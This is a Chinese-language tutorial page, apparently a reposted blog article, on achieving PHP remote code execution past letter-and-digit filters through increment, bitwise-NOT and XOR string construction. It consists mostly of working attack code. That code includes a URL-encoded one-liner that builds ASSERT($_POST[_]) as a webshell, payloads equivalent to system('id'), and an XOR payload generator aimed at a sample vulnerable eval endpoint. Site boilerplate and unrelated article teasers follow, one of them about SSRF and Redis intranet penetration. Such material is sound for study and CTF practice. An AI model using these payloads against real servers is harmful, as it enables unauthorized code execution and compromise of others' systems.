RCE(自增、取反、異或)

自增:

也就是說,`'a'++ => 'b'`,`'b'++ => 'c'`... 所以,我們只要能拿到一個變量,其值為`a`,通過自增操作即可獲得a-z中所有字符。

無字母數字構造:
所有敏感字符串(ASSERT、_POST)通過自增動態生成,避免直接出現字母。
超全局變量利用:
通過 $_POST 動態接收攻擊載荷。
動態函數調用:
利用 $___(值為 ASSERT)作為函數名調用。

在PHP中,如果強制連接數組和字符串的話,數組將被轉換成字符串,其值為`Array`:

源碼:

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // ASS
$__=$_;
$__++;$__++;$__++;$__++; // E?
$___.=$__;?
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;?

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__; ?// $_POST

$_=$$____;
$___($_POST[_]); // ASSERT($_POST[_]);

放到一排再url編碼之后是:

%24_%3d%5b%5d%3b%24_%3d%40%22%24_%22%3b+%2f%2f+%24_%3d%27Array%27%3b%24_%3d%24_%5b%27!%27%3d%3d%27%40%27%5d%3b+%24___%3d%24_%3b+%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24___.%3d%24__%3b+%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b+%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b+%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b+%24___.%3d%24__%3b+%24____%3d%27_%27%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b+%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b+%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b+%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b+%24____.%3d%24__%3b+%24_%3d%24%24____%3b%24___(%24_POST%5b_%5d)%3b+

取反:

在 PHP 中,取反(~) 是繞過字符過濾(如禁止字母、數字)實現 RCE(遠程代碼執行)的核心技術之一。其核心思想是通過 位運算 動態構造敏感字符(如 system、eval),從而繞過正則過濾。

源碼:<?php

// 生成取反后的字符串

$func = ~'system'; // "\x8C\x86\x8C\x8B\x9A\x92"

$arg = ~'id'; ? ? ?// "\xA0\x8F"

// 構造 Payload

$payload = "(~\"\x8C\x86\x8C\x8B\x9A\x92\")(~\"\xA0\x8F\");";

echo urlencode($payload);

PHP 中的取反運算符 ~ 會對字符的二進制位進行翻轉(0 變 1,1 變 0)。例如:
~'A' → 結果為 "\xBE"。
若將取反后的字符再次取反,即可還原原始字符:~~'A' → 'A'

1. 目標字符串拆分
執行 system('id'):
system → 拆分為字符 s、y、s、t、e、m。
id → 拆分為字符 i、d。
2. 生成取反后的字符串
通過 PHP 生成取反后的二進制形式:

$func = 'system';
$arg = 'id';
// 取反后的字符串(注意轉義)
$func_neg = ~$func; // "\x8C\x86\x8C\x8B\x9A\x92"
$arg_neg = ~$arg; ? // "\xA0\x8F"

3構造無字母數字的 Payload
<?php
(~"\x8C\x86\x8C\x8B\x9A\x92")(~"\xA0\x8F"); // 等價于 system('id');

異或:

若 A ^ KEY = B,則 B ^ KEY = A。
通過將敏感字符串(如 phpinfo)與固定密鑰(如 0xFF)異或,生成非字母數字字符的 Payload。當服務端對 Payload 再次異或相同密鑰時,即可還原原始字符串并執行代碼。此方法常用于繞過 a-zA-Z0-9 字符過濾規則。

生成異或字符串
需要執行 phpinfo(),按以下步驟生成 Payload:
<?php
$a = 'phpinfo';
for ($i = 0; $i < strlen($a); $i++) {
? ? echo '%' . dechex(ord($a[$i]) ^ 0xFF); // 異或每個字符
}
echo "^";
for ($j = 0; $j < strlen($a); $j++) {
? ? echo '%FF'; // 密鑰部分(全 FF)
}
?>
輸出:%8F%97%8F%96%91%99%90^%FF%FF%FF%FF%FF%FF%FF

假設服務端存在如下漏洞代碼:
<?php
$input = $_GET['payload'];
list($part1, $part2) = explode('^', $input);
$code = urldecode($part1) ^ urldecode($part2);
eval($code);
?>
URL 解碼:
%8F%97%8F%96%91%99%90 → 二進制值 \x8F\x97\x8F\x96\x91\x99\x90
%FF%FF%FF%FF%FF%FF%FF → 二進制值 \xFF\xFF\xFF\xFF\xFF\xFF\xFF

異或還原:
\x8F ^ \xFF = p ?
\x97 ^ \xFF = h ?
\x8F ^ \xFF = p ?
\x96 ^ \xFF = i ?
\x91 ^ \xFF = n ?
\x99 ^ \xFF = f ?
\x90 ^ \xFF = o ?

最終還原字符串 phpinfo,執行 eval('phpinfo')。

源碼:<?php
function generate_xor_payload($command, $key = 0xFF) {
? ? $encoded = '';
? ? $key_part = '';
? ? for ($i = 0; $i < strlen($command); $i++) {
? ? ? ? $encoded .= '%' . dechex(ord($command[$i]) ^ $key);
? ? ? ? $key_part .= '%' . dechex($key);
? ? }
? ? return $encoded . '^' . $key_part;
}
$payload = generate_xor_payload('phpinfo');
echo "Payload: " . $payload . "\n";
// 輸出:%8F%97%8F%96%91%99%90^%FF%FF%FF%FF%FF%FF%FF
// 發送請求(漏洞 URL 為 http://localhost:3000/flag.php)
$url = 'http://localhost:3000/flag.php?payload=' . urlencode($payload);
file_get_contents($url);
?>

異或繞過技術的核心要點
1. 可逆性
異或運算是 對稱加密 的基礎,兩次異或同一密鑰可還原原始數據:
$original = 'phpinfo';
$key = "\xFF";
$encoded = $original ^ $key;
$decoded = $encoded ^ $key; // 還原為 'phpinfo'
2. 繞過字符過濾
異或后的字符通常是 非字母數字(如 \x8F、\x97),可繞過正則過濾規則:
preg_match('/[a-zA-Z0-9]/', $payload); // 返回 false
3. 動態執行
通過 eval 或 assert 動態執行還原后的代碼:
eval($decoded . '();'); // 執行 phpinfo();

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/75225.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/75225.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/75225.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

從架構角度談談云原生架構

1、云原生架構起源 隨著云服務商的成熟&#xff0c;客戶面臨著將服務直接使用云平臺的服務部署在云平臺上&#xff0c;或者采用本地和云上混合部署的模式來對外提供服務&#xff0c;從解決方案的角度來說&#xff0c;采用云原生架構的優點有&#xff1a; 可以利用云服務的管理…

Zcanpro搭配USBCANFD-200U在新能源汽車研發測試中的應用指南(周立功/致遠電子)

——國產工具鏈的崛起與智能汽車測試新范式 引言&#xff1a;新能源汽車測試的國產化突圍 隨著新能源汽車智能化、網聯化程度的提升&#xff0c;研發測試面臨三大核心挑戰&#xff1a;多協議融合&#xff08;CAN FD/LIN/以太網&#xff09;、高實時性數據交互需求、復雜工況下…

【Verilog】實驗十 帶倒計時交通燈控制電路設計

目錄 一、實驗目的 二、實驗環境 三、實驗任務 四、實驗原理與實驗步驟 1. 實驗原理 2. 實驗步驟 五、實驗思考 代碼 TOP.v trafic2_2.v shumaguan.v clk_div.v 一、實驗目的 1. 掌握同步有限狀態機的設計方法。 2. 采用狀態機的設計方法&#xff0c;設計實現帶倒…

Linux : System V 共享內存

目錄 一 前言 二 共享內存概念 三 共享內存創建 四 查看共享內存 五 共享內存的刪除 六 共享內存的關聯 七 共享內存去關聯 八 共享內存的使用&#xff08;通信&#xff09; 九 共享內存的特點 一 前言 共享內存區是最快的IPC形式&#xff08;進程間通信&#xff1…

Spring Cloud 2023.x安全升級:OAuth2.1與JWT動態輪換實戰

引言&#xff1a;當安全遇上云原生&#xff0c;零停機密鑰輪換成為剛需 在微服務架構中&#xff0c;OAuth2.1與JWT已成為身份驗證的黃金標準&#xff0c;但傳統方案存在兩大痛點&#xff1a; 密鑰輪換風險&#xff1a;手動替換JWT密鑰需重啟服務&#xff0c;導致短暫鑒權中斷&…

創建私人阿里云docker鏡像倉庫

一.登錄阿里云 https://cr.console.aliyun.com/cn-hangzhou/instances 二.創建個人實例 【實例列表】 》【創建個人實例】 》【設置Registry登錄密碼】 三.創建命名空間 步驟&#xff1a;【個人實例】》【命名空間】》【創建命名空間】 注:一個賬號最多可以創建3個命名空…

oracle基礎知識視圖的定義和應用

1.1 視圖的定義 視圖(View)是數據庫中非常重要的內容&#xff0c;在實際開發中必須學會視圖的編寫。 用于產生視圖的表叫做該視圖的基表。一個視圖也可以從另一個視圖中產生。視圖是可以嵌套的。 視圖的定義存在數據庫中&#xff0c;與此定義相關的數據并沒有再存一份于數據庫中…

邊緣計算:工業自動化的智能新引擎

在工業4.0的浪潮中&#xff0c;工業自動化正經歷著前所未有的變革。隨著物聯網&#xff08;IoT&#xff09;技術的普及&#xff0c;越來越多的工業設備被連接到網絡中&#xff0c;產生了海量的數據。然而&#xff0c;傳統的云計算架構在處理這些實時性要求極高的工業數據時&…

12-SpringBoot3入門-項目打包和運行

1、打包 1&#xff09;打包插件 pom.xml <!--SpringBoot應用打包插件--> <build><plugins><plugin><groupId>org.springframework.boot</groupId><artifactId>spring-boot-maven-plugin</artifactId></plugin></plu…

【PCIE711-214】基于PCIe總線架構的4路HD-SDI/3G-SDI視頻圖像模擬源

產品概述 PCIE711-214是一款基于PCIE總線架構的4路SDI視頻模擬源。該板卡為標準的PCIE插卡&#xff0c;全高尺寸&#xff0c;適合與PCIE總線的工控機或者服務器&#xff0c;板載協議處理器&#xff0c;可以通過PCIE總線將上位機的YUV 422格式視頻數據下發通過SDI接口播放出去&…

PipeWire 音頻設計與實現分析一——介紹

PipeWire 是一個基于圖的媒體處理引擎&#xff0c;一個可以運行多媒體節點圖的媒體服務器&#xff0c;是 Linux 的音頻/視頻總線&#xff0c;它管理 Linux 系統中&#xff0c;不同應用程序對音頻和視頻設備的共享訪問。它提供了一個本地客戶端音頻 API&#xff0c;但也提供兼容…

使用卷積神經網絡識別MNIST數據集

卷積神經網絡 卷積神經網絡本質是共享權重稀疏鏈接的全連接網絡 編寫步驟 構建一個神經網絡&#xff0c;步驟是幾乎不變的&#xff0c;大概有以下幾步 準備數據集 #更高級的CNN網絡 import torch import torch.nn as nn import torch.nn.functional as F import torchvisi…

力扣125.驗證回文串

如果在將所有大寫字符轉換為小寫字符、并移除所有非字母數字字符之后&#xff0c;短語正著讀和反著讀都一樣。則可以認為該短語是一個 回文串 。 字母和數字都屬于字母數字字符。 給你一個字符串 s&#xff0c;如果它是 回文串 &#xff0c;返回 true &#xff1b;否則&#…

UR機械臂sim2real推薦包

推薦一個和ur機械臂配套的interface&#xff1a; ur_rtde Universal Robots RTDE C Interface — ur_rtde 1.6.0 documentation 也歡迎大家提供新想法和bug

CST學習筆記(三)MATLAB與CST聯合仿真-遠場數據批量導出

CST學習筆記&#xff08;三&#xff09;MATLAB與CST聯合仿真-遠場數據批量導出 一、直接數據導出 &#xff08;1&#xff09;打開遠場&#xff0c;調至笛卡爾坐標系 &#xff08;2&#xff09;然后點擊post processing → Import/Export → Plot Data (ASCII) &#xff0c;即…

藍橋杯---BFS解決FloofFill算法1---圖像渲染

文章目錄 1.算法簡介2.題目概述3.算法原理4.代碼分析 1.算法簡介 這個算法是關于我們的floodfill的相關的問題&#xff0c;這個算法其實從名字就可以看出來&#xff1a;洪水灌溉&#xff0c;其實這個算法的過程就和他的名字非常相似&#xff0c;下面的這個圖就生動的展示了這個…

我與數學建模之啟程

下面的時間線就是從我的大二上開始 9月開學就迎來了本科階段最重要的數學建模競賽——國賽&#xff0c;這個比賽一般是在9月的第二周開始。 2021年國賽是我第一次參加國賽&#xff0c;在報名前我還在糾結隊友&#xff0c;后來經學長推薦找了另外兩個學長。其實第一次國賽沒啥…

利用 SSRF 和 Redis 未授權訪問進行內網滲透

目錄 環境搭建 ?編輯 發現內網存活主機 ?編輯 掃描內網端口 ?編輯 利用 Redis 未授權訪問進行 Webshell 寫入 步驟1&#xff1a;生成 payload 方式1&#xff1a;使用python生成 payload 方式二&#xff1a;使用 Gopher 工具 步驟 2&#xff1a;寫入 Webshell&#xf…

【Vue2插槽】

Vue2插槽 Vue2插槽默認插槽子組件代碼&#xff08;Child.vue&#xff09;父組件代碼&#xff08;Parent.vue&#xff09; 命名插槽子組件代碼&#xff08;ChildNamed.vue&#xff09;父組件代碼&#xff08;ParentNamed.vue&#xff09; 代碼解釋 Vue2插槽 Vue2插槽 下面為你詳…

ORB-SLAM學習感悟記錄

orb特征點的旋轉不變性 利用灰度質心法求出的質心后&#xff0c;與形心連線所形成的角度如下圖所示&#xff1a; 這里容易對上圖進行誤解&#xff1a; 為了保證旋轉不變性&#xff0c;這里注意ORB-slam是利用這個角度旋轉坐標系&#xff0c;以新坐標系為標準從圖像中采點進行…